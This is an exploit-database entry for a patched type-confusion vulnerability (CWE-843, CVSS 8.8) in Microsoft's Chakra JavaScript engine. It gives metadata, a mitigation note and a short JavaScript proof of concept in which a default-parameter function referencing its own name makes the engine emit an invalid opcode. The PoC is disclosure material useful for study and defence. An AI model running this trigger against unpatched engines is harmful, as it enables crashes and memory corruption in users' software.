header-logo
Suggest Exploit
vendor:
Chakra
by:
Anonymous
8.8
CVSS
HIGH
Type Confusion
843
CWE
Product Name: Chakra
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: N/A
2020

Chakra fails to distinguish whether the function is referenced in the param scope

Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode.

Mitigation:

Microsoft has released a patch to address this vulnerability.
Source

Exploit-DB raw data:

// PoC:

(function func(arg = function () {
    print(func);  // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
    print(func);
    function func() {

    }
})();

// Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode.